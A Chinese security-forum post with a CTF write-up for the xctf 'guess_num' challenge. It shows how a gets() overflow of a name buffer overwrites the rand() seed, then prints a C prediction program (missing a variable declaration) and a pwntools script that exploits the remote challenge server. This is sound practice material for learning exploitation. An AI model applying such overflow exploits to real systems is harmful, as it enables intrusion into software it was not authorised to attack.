安全矩阵

 找回密码
 立即注册
搜索
查看: 3145|回复: 0

xctf--新手区--guess_num

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-20 20:01:09 | 显示全部楼层 |阅读模式
该题链接:xctf--新手区--guess_num
附件:


writeup
老规矩,先checksec下,查看保护机制


64位程序,保护机制全开啊,不过不慌,先运行一下大致看看




两次输入分别是Your name和 guess number  ,其余皆是程序输出,貌似没有得到什么有用的东西。
再次借助强大的IDA查看源码:



分析源码得知,我们要输入十次随机数产生的值,如果一次错,那就GG,十次全部输入正确,就success!,flag应该就藏在success的背后,所以无论如何我们都要把这十次输入弄成正确的。


当然,要十次输入的数并不是真要我们去猜(如果真的都猜对,哈哈,那你应该去买彩票了),我们从产生这些数的rand函数入手。


红色部分是比较重要的,也是攻克本题的重要一步。rand函数产生随机数的时候,需要一个种子,如果这个种子是一样的话,产生的随机数也是一样的。
因为我们先要输入name,要是我们通过gets(),输入一个很长的字符串,刚好把seed的值覆盖掉,那么seed的产生的随机值就会成为可控的一个序列
可是输入的name要多长呢?

由下图我们看到,我们要选取的seed的值在rbp-10h处,而我们输入name的一个区域在rbp-30h处,所以我们至少要输入20h个字符才可以覆盖掉seed



知道了输入name的长度,我们就可以写一个c程序先预判当seed是a的时候产生的随机数分别是多少:
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. int main()
  4. {
  5. srand(0x61616161);
  6. for(i=0;i<10;i++)
  7. {
  8. int b=rand()%6+1;
  9. printf("%d\n",b);
  10. }
  11. return 0;
  12. }

复制代码
开始的时候我直接运行没有成功,然后编译之后就运行成功了。



得到了这10个数,我们再次运行源文件,并把这些数字依次输入







我的flag竟然没有,同样的做法别人都得到了flag,试了很多次也无果,那就再试试另一种方法,直接写python脚本进行加交互

  1. from pwn import*
  2. from ctypes import*
  3. context.log_level='debug'
  4. r=remote("159.138.137.79","63574")
  5. #elf=ELF('./guess_num')
  6. payload='a'*0x20+p64(1)
  7. print(payload)
  8. r.recvuntil('Your name:')
  9. r.sendline(payload)
  10. libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
  11. libc.srand(1)
  12. for i in range(10):
  13.         r.recvuntil('number:')
  14.         r.sendline(str(libc.rand()%6+1))
  15.         
  16. r.interactive()
复制代码
如果想知道你机器的版本 可以 ldd guess_num


拿到flag!






总结:
这个题目主要的突破点在于用name的值覆盖掉seed的值,从而达到rand产生的随机数我们是可以预判的一个效果,不过两种方法理论上应该是都可以的,肯定是某处有问题我忽略了,不过大致方法我们已经掌握了!


参考文章:
https://blog.csdn.net/lvyibin890/article/details/80141412
xctf自带的writeup





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:56 , Processed in 0.013437 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表